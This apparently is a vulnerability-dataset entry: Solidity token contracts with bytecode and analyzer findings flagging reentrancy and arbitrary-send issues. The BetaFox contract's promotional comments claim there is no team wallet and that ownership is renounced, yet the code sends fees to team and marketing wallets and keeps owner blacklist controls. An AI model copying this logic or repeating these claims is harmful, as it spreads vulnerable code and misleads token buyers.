uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { bots[bots_[i]] = true; } } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=12||taxFeeOnSell<=12); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610559578063dd62ed3e14610579578063ea1644d5146105bf578063f2fde38b146105df57600080fd5b8063a2a957bb146104d4578063a9059cbb146104f4578063bfd7928414610514578063c3c8cd801461054457600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b457600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f73660046119e3565b6105ff565b005b34801561020a57600080fd5b5060408051808201909152600a81526904d75736b7920537761760b41b60208201525b60405161023a9190611aa8565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611afd565b610725565b604051901515815260200161023a565b34801561027f57600080fd5b50601354610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611b29565b61073c565b3480156102fc57600080fd5b506102c260175481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601454610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611b6a565b6107a5565b34801561036e57600080fd5b506101fc61037d366004611b97565b6107f0565b34801561038e57600080fd5b506101fc610838565b3480156103a357600080fd5b506102c26103b2366004611b6a565b610865565b3480156103c357600080fd5b506101fc610887565b3480156103d857600080fd5b506101fc6103e7366004611bb2565b6108fb565b3480156103f857600080fd5b506102c260155481565b34801561040e57600080fd5b506102c261041d366004611b6a565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610293565b34801561045957600080fd5b506101fc610468366004611b97565b61093d565b34801561047957600080fd5b506102c260165481565b34801561048f57600080fd5b5060408051808201909152600881526704d55534b535741560c41b602082015261022d565b3480156104c057600080fd5b506101fc6104cf366004611bb2565b61099c565b3480156104e057600080fd5b506101fc6104ef366004611bcb565b6109cb565b34801561050057600080fd5b5061026361050f366004611afd565b610a23565b34801561052057600080fd5b5061026361052f366004611b6a565b60106020526000908152604090205460ff1681565b34801561055057600080fd5b506101fc610a30565b34801561056557600080fd5b506101fc610574366004611bfd565b610a66565b34801561058557600080fd5b506102c2610594366004611c81565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cb57600080fd5b506101fc6105da366004611bb2565b610b07565b3480156105eb57600080fd5b506101fc6105fa366004611b6a565b610b36565b6000546001600160a01b031633146106325760405162461bcd60e51b815260040161062990611cba565b60405180910390fd5b60005b81518110156107215760145482516001600160a01b039091169083908390811061066157610661611cef565b60200260200101516001600160a01b0316141580156106b2575060135482516001600160a01b039091169083908390811061069e5761069e611cef565b60200260200101516001600160a01b031614155b1561070f576001601060008484815181106106cf576106cf611cef565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061071981611d1b565b915050610635565b5050565b6000610732338484610c20565b5060015b92915050565b6000610749848484610d44565b61079b843361079685604051806060016040528060288152602001611e35602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611280565b610c20565b5060019392505050565b6000546001600160a01b031633146107cf5760405162461bcd60e51b815260040161062990611cba565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461081a5760405162461bcd60e51b815260040161062990611cba565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b03161461085857600080fd5b47610862816112ba565b50565b6001600160a01b038116600090815260026020526040812054610736906112f4565b6000546001600160a01b031633146108b15760405162461bcd60e51b815260040161062990611cba565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109255760405162461bcd60e51b815260040161062990611cba565b6611c37937e08000811161093857600080fd5b601555565b6000546001600160a01b031633146109675760405162461bcd60e51b815260040161062990611cba565b601454600160a01b900460ff161561097e57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109c65760405162461bcd60e51b815260040161062990611cba565b601755565b6000546001600160a01b031633146109f55760405162461bcd60e51b815260040161062990611cba565b600c82111580610a065750600c8111155b610a0f57600080fd5b600893909355600a91909155600955600b55565b6000610732338484610d44565b6012546001600160a01b0316336001600160a01b031614610a5057600080fd5b6000610a5b30610865565b905061086281611378565b6000546001600160a01b03163314610a905760405162461bcd60e51b815260040161062990611cba565b60005b82811015610b01578160056000868685818110610ab257610ab2611cef565b9050602002016020810190610ac79190611b6a565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610af981611d1b565b915050610a93565b50505050565b6000546001600160a01b03163314610b315760405162461bcd60e51b815260040161062990611cba565b601655565b6000546001600160a01b03163314610b605760405162461bcd60e51b815260040161062990611cba565b6001600160a01b038116610bc55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610629565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c825760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610629565b6001600160a01b038216610ce35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610629565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610da85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610629565b6001600160a01b038216610e0a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610629565b60008111610e6c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610629565b6000546001600160a01b03848116911614801590610e9857506000546001600160a01b03838116911614155b1561117957601454600160a01b900460ff16610f31576000546001600160a01b03848116911614610f315760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610629565b601554811115610f835760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610629565b6001600160a01b03831660009081526010602052604090205460ff16158015610fc557506001600160a01b03821660009081526010602052604090205460ff16155b61101d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610629565b6014546001600160a01b038381169116146110a2576016548161103f84610865565b6110499190611d36565b106110a25760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610629565b60006110ad30610865565b6017546015549192508210159082106110c65760155491505b8080156110dd5750601454600160a81b900460ff16155b80156110f757506014546001600160a01b03868116911614155b801561110c5750601454600160b01b900460ff165b801561113157506001600160a01b03851660009081526005602052604090205460ff16155b801561115657506001600160a01b03841660009081526005602052604090205460ff16155b156111765761116482611378565b47801561117457611174476112ba565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111bb57506001600160a01b03831660009081526005602052604090205460ff165b806111ed57506014546001600160a01b038581169116148015906111ed57506014546001600160a01b03848116911614155b156111fa57506000611274565b6014546001600160a01b03858116911614801561122557506013546001600160a01b03848116911614155b1561123757600854600c55600954600d555b6014546001600160a01b03848116911614801561126257506013546001600160a01b03858116911614155b1561127457600a54600c55600b54600d555b610b01848484846114f2565b600081848411156112a45760405162461bcd60e51b81526004016106299190611aa8565b5060006112b18486611d4e565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610721573d6000803e3d6000fd5b600060065482111561135b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610629565b6000611365611520565b90506113718382611543565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113c0576113c0611cef565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611419573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143d9190611d65565b8160018151811061145057611450611cef565b6001600160a01b0392831660209182029290920101526013546114769130911684610c20565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114af908590600090869030904290600401611d82565b600060405180830381600087803b1580156114c957600080fd5b505af11580156114dd573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806114ff576114ff611585565b61150a8484846115b3565b80610b0157610b01600e54600c55600f54600d55565b600080600061152d6116aa565b909250905061153c8282611543565b9250505090565b600061137183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ea565b600c541580156115955750600d54155b1561159c57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115c587611718565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115f79087611775565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461162690866117b7565b6001600160a01b03891660009081526002602052604090205561164881611816565b6116528483611860565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161169791815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006116c58282611543565b8210156116e157505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361170b5760405162461bcd60e51b81526004016106299190611aa8565b5060006112b18486611df3565b60008060008060008060008060006117358a600c54600d54611884565b9250925092506000611745611520565b905060008060006117588e8787876118d9565b919e509c509a509598509396509194505050505091939550919395565b600061137183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611280565b6000806117c48385611d36565b9050838110156113715760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610629565b6000611820611520565b9050600061182e8383611929565b3060009081526002602052604090205490915061184b90826117b7565b30600090815260026020526040902055505050565b60065461186d9083611775565b60065560075461187d90826117b7565b6007555050565b600080808061189e60646118988989611929565b90611543565b905060006118b160646118988a89611929565b905060006118c9826118c38b86611775565b90611775565b9992985090965090945050505050565b60008080806118e88886611929565b905060006118f68887611929565b905060006119048888611929565b90506000611916826118c38686611775565b939b939a50919850919650505050505050565b60008261193857506000610736565b60006119448385611e15565b9050826119518583611df3565b146113715760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610629565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461086257600080fd5b80356119de816119be565b919050565b600060208083850312156119f657600080fd5b823567ffffffffffffffff80821115611a0e57600080fd5b818501915085601f830112611a2257600080fd5b813581811115611a3457611a346119a8565b8060051b604051601f19603f83011681018181108582111715611a5957611a596119a8565b604052918252848201925083810185019188831115611a7757600080fd5b938501935b82851015611a9c57611a8d856119d3565b84529385019392850192611a7c565b98975050505050505050565b600060208083528351808285015260005b81811015611ad557858101830151858201604001528201611ab9565b81811115611ae7576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611b1057600080fd5b8235611b1b816119be565b946020939093013593505050565b600080600060608486031215611b3e57600080fd5b8335611b49816119be565b92506020840135611b59816119be565b929592945050506040919091013590565b600060208284031215611b7c57600080fd5b8135611371816119be565b803580151581146119de57600080fd5b600060208284031215611ba957600080fd5b61137182611b87565b600060208284031215611bc457600080fd5b5035919050565b60008060008060808587031215611be157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611c1257600080fd5b833567ffffffffffffffff80821115611c2a57600080fd5b818601915086601f830112611c3e57600080fd5b813581811115611c4d57600080fd5b8760208260051b8501011115611c6257600080fd5b602092830195509350611c789186019050611b87565b90509250925092565b60008060408385031215611c9457600080fd5b8235611c9f816119be565b91506020830135611caf816119be565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611d2f57611d2f611d05565b5060010190565b60008219821115611d4957611d49611d05565b500190565b600082821015611d6057611d60611d05565b500390565b600060208284031215611d7757600080fd5b8151611371816119be565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611dd25784516001600160a01b031683529383019391830191600101611dad565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611e1057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e2f57611e2f611d05565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ecb190f51bb433d50150d1ece3fc2fd1d6657e292cc381aeb7dc00f8be1edb5664736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,873
0x6b8c87add93a7e872cf2e08685643c94929467cc
/** *Submitted for verification at Etherscan.io on 2021-06-08 */ /* https://t.me/BetaFoxOfficial Using dynamic sell limits based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells, as a result; $BETAFOX is designed to reward holders and discourage dumping. 1. Bot and whale manipulation prevention: Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool. 2. No Team & Marketing wallet. 100% of the tokens will go directly to Uniswap for trading. 3. No presale or team wallets allocated with tokens that can dump on the community. Token Information: - 1,000,000,000,000 Total Supply, 10% is burned immediately - Liquidity provided by BetaFox devs and then subsequently locked with Team.Finance - A complete fair launch method - 0,6% transaction limit on launch - You can only buy 6,000,000,000 $BETAFOX in the first 10 minutes then 10,000,000,000 for 10 minutes, then the limit is lifted. To make destribution fair... - Buy limit lifted to 1% of the supply 30 minutes after launch, then the ownership of the token is immediately renounced - Sells limited to 4% of the Liquidity Pool, <4% price impact - Keeps the whales out and prevents issues people have seen with MYOBU - Sell cooldown increases on consecutive sells, 3 sells within a 4 hours period are allowed - 2% redistribution to holders on all buys - 5% redistribution to holders on the first sell, increases 2x, 3x on consecutive sells - This redistribution mechanism is working and benefits the stronk metafox hodlers - Smaller cooldown periods than Myobu, but still prevents frequent dumps and sell pressure SPDX-License-Identifier: Unlicensed */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract BetaFox is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "BETAFOX"; string private constant _symbol = "BETAFOX\xF0\x9F\xA6\x8A"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 7; _teamFee = 5; } function setFee(uint256 multiplier) private { _taxFee = _taxFee * multiplier; if (multiplier > 1) { _teamFee = 10; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); _teamFee = 5; _taxFee = 2; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(4).div(100) && amount <= _maxTxAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (4 hours) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (1 hours); } else if (sellnumber[from] == 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (2 hours); } else if (sellnumber[from] == 2) { sellnumber[from]++; sellcooldown[from] = firstsell[from] + (4 hours); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; _maxTxAmount = 6000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
